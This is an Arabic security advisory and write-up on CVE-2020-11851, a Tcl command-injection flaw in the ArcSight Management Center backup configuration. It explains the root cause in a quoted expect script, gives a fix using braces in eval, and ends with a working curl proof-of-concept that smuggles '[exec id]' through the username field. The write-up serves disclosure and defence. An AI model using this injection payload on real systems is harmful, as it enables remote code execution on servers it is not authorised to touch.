
ثغرة تنفيذ التعليمات البرمجية عن بُعد في ArcSight Logger
ثغرة تنفيذ التعليمات البرمجية عن بُعد في ArcSight Logger (عبر مركز إدارة ArcSight)
https://nvd.nist.gov/vuln/detail/CVE-2020-11851
خلفية الثغرةيُعد ArcSight Logger حلاً شاملاً لإدارة السجلات يُخفف أعباء الامتثال ويُسرّع التحقيقات الجنائية للمتخصصين في الأمن، من خلال توحيد وتخزين سجلات بيانات الآلات من جميع أنحاء مؤسساتهم، وتسهيل البحث السريع وإعداد التقارير على تلك البيانات.
مركز إدارة ArcSight (ArcMC) هو مركز إدارة أمني مركزي يُدير النشرات الكبيرة لحلول ArcSight مثل ArcSight Logger و ArcSight SmartConnectors (الموصلات) و ArcSight FlexConnectors و ArcSight Connector Appliance (ConApp) عبر واجهة واحدة.
يمكن استغلال الثغرة عبر وظيفة النسخ الاحتياطي في مركز إدارة ArcSight (الإصدار: 2.7.1.2065.0). تعمل خيار النسخ الاحتياطي هذا باستخدام نصوص "expect" الخاصة بـ ArcSight Logger والتي تستخدم لغة أوامر الأدوات (Tcl). تسمح الثغرة للمهاجمين بتنفيذ أوامر Tcl عشوائية. تؤثر هذه الثغرة على منتج Micro Focus ArcSight Logger، وتشمل جميع الإصدارات السابقة للإصدار 7.1.1.
الاستنتاجيمكن للمهاجمين اختراق الخادم الذي يعمل بالبرنامج الضعيف عبر ثغرة تنفيذ التعليمات البرمجية عن بُعد (RCE)، ليصبح نقطة انطلاق يمكن للخصم من خلالها شن هجمات إضافية ضد خوادم المؤسسة، مما يصل إلى اختراق خطير. يمكن أن تؤدي هذه الثغرة إلى فقدان البيانات أو تلفها أو الكشف عنها لأطراف غير مصرح لها، أو فقدان المساءلة، أو منع الوصول.
التوصياتيُوصى بالتحقق من أفضل ممارسات أمان Tcl لنصوص "expect". بشكل أساسي، استخدام الأقواس المتعرجة في eval يكون آمنًا كما يلي:
eval puts $exploit ;# vulnerable
eval "puts $exploit" ;# vulnerable
eval {puts $exploit} ;# safe
يمكن العثور على مزيد من المعلومات هنا: https://wiki.tcl-lang.org/page/Injection+Attack
يوضح هذا القسم اتجاهات حقن الأوامر التي يمكن استخدامها لاكتشاف الثغرة في ArcSight Logger. يمكن استخدام العناوين أدناه لإعادة إنتاج خطوات الهجوم.
استكشاف خيار النسخ الاحتياطي الضعيففي علامة التبويب الإدارية، يوجد خيار النسخ الاحتياطي.

كما نرى، يمكننا تكوين خادم نسخ احتياطي عن بُعد باستخدام بروتوكول SCP. بعد النقر على زر "Save"، قمت بتصحيح أخطاء عمليات الخادم باستخدام أداة "pspy" التي يمكن تنزيلها من هنا: https://github.com/DominicBreuker/pspy/releases
تصحيح أخطاء الخادم وتحليل السبب الجذريبعد حفظ تكوين النسخ الاحتياطي، اكتشفت أن التطبيق يستخدم نص bash للتحقق من خادم SSH كما يلي (انظر إلى PID 95427):

إليك الأمر الأكثر تفصيلاً (PID 95427) للتوضيح:
sh /opt/arcsight/current/arcsight/arcmc/config/logger/runexpect.sh /opt/arcsight/current/arcsight/arcmc/bin/filetransfer/lib/ /opt/arcsight/current/arcsight/arcmc/bin/filetransfer/lib/expect /opt/arcsight/current/arcsight/arcmc/tmp/scp.expect.dir.backup1 UserSuppliedPassword UserSuppliedUsernameAndHostname UserSuppliedPortNumber UserSuppliedBackupDirectory
دعنا نلقي نظرة على محتوى "runexpect.sh" و"scp.expect.dir.backup1" (نص expect) قبل شرح منطق "runexpect.sh".
إليك محتوى "runexpect.sh":
#!/bin/sh
# Set LD_LIBRARY_PATH
export LD_LIBRARY_PATH=$1
echo "Assuming LD_LIBRARY_PATH in runexpect :" $LD_LIBRARY_PATH
shift
echo "Running command: $*"
$*
exit $?
وإليك محتوى نص expect المسمى "scp.expect.dir.backup1":
set password [lindex $argv 0]
set host [lindex $argv 1]
set port [lindex $argv 2]
set dir [lindex $argv 3]
eval spawn ssh -p $port $host test -d $dir && echo exists //Vulnerability begins here
expect "*(yes/no)?*$" { send "yes\n" }
set timeout 600
expect "*assword:*$" { send "$password\n" } \
timeout { exit 1 }
set timeout -1
expect "\\$ $"
كما نرى، يقوم "runexpect.sh" بتعيين متغير البيئة (LD_LIBRARY_PATH) ثم ينفذ ملف "expect" الثنائي باستخدام نص expect المسمى "scp.expect.dir.backup1". يتلقى هذا النص 4 وسيطات لاستخدامها في أمر "ssh".
تبدأ الثغرة الفعلية في السطر 5 من النص المسمى "scp.expect.dir.backup1". كما ذكرنا سابقًا، بدون الأقواس المتعرجة، قد تكون المدخلات التي يوفرها المستخدم خطيرة جدًا في نصوص Tcl.
الحصول على تنفيذ التعليمات البرمجيةنظرًا لأن ثغرة تنفيذ التعليمات البرمجية هذه عمياء تمامًا، استخدمت أبسط طريقة لإظهار التنفيذ. استخدمت أداة "pspy" لتصحيح أخطاء العمليات وتوضيح تنفيذ التعليمات البرمجية العشوائية عن طريق إرسال طلب HTTP ضار.
إليك المنطق الذي أردت أن ينفذه نص "expect":
eval spawn ssh –p [exec id] test –d fakehostname && echo exists
[exec : this is argv1
id] : this is argv2
fakehostname : this is argv3
Expected behavior would be like this:
eval spawn ssh –p the_output_of_the_id_command test –d fakehostname && echo exists
# Because, [ ] in Tcl, looks like `` in bash. For more information about the Tcl syntax, please visit to https://wiki.tcl-lang.org/welcome
دعنا نشرح كيفية تحقيق ذلك. إذا وضعت مسافات بين "السلاسل" في معامل "field-username" لطلب HTTP ذي الصلة، فسيتم تحليلها بشكل غير مقصود إلى نص "expect" لأنه لا يتحقق من عدد الوسائط، مما يعني أنني أستطيع حقن [exec كرقم المنفذ و id] كاسم المستخدم. في الوضع الطبيعي، لم أستطع حقن معامل رقم المنفذ لطلب HTTP ذي الصلة بسبب التحقق من الإدخال (يجب أن يكون رقمًا فقط).
بعد إرسال طلب HTTP أدناه، نجحت في تنفيذ الأمر وطباعة مخرجه باستخدام أداة "pspy".


إليك طلب CURL المقابل الذي استخدمته لاستغلال الثغرة (يرجى تعديل الرموز المميزة المتعلقة بالجلسة والهدف):
curl -i -s -k -X $'POST' \
-H $'Host: TARGET' -H $'User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0' -H $'Accept: text/javascript, text/html, application/xml, text/xml, */*' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'X-Requested-With: XMLHttpRequest' -H $'X-Prototype-Version: 1.5.1.2' -H $'Content-type: application/x-www-form-urlencoded; charset=UTF-8' -H $'Content-Length: 463' -H $'Origin: https://hq-arc-mgmt' -H $'Connection: close' -H $'Referer: https://TARGET/arcmc/stand_alone_backup_config.ftl?menu_id=admin' -H $'Cookie: JSESSIONID=C49A27CF695535133EA896C38A41452A; com.arcsight.product.platform.logger.client.session.SessionContext.productName=\"ArcSight Management Center\"; com.arcsight.product.platform.logger.client.session.SessionContext.arcsightProductName=\"ArcSight Management Center\"; session_string=f2k5OHLthMlDaxUI6HMiah36hzg_sfwlqxEv24LKVAk.; user_id_seq=8' \
-b $'JSESSIONID=C49A27CF695535133EA896C38A41452A; com.arcsight.product.platform.logger.client.session.SessionContext.productName=\"ArcSight Management Center\"; com.arcsight.product.platform.logger.client.session.SessionContext.arcsightProductName=\"ArcSight Management Center\"; session_string=f2k5OHLthMlDaxUI6HMiah36hzg_sfwlqxEv24LKVAk.; user_id_seq=8' \
--data-binary $'editid=backup1&update=true&cancelurl=config_home.ftl&previousSubmit=false&asf_token=e151b811-42d6-4220-88cc-c20832597de9&field-protocol=SCP&field-port=22&field-host=originalHostInput&field-username=id]+[exec+fakeuser@fakeHostInput&field-password=fakePasswordInput123&field-filepath=%2Fbackup&schedule-editor-command1=everyday&schedule-editor-args1=&schedule-editor-command2=daily&schedule-editor-args2=12&schedule-editor-every-duration=hours&field-excludedata=All' \
$'https://TARGET/arcmc/stand_alone_backup_config_edit.ftl?&asf_token=e151b811-42d6-4220-88cc-c20832597de9'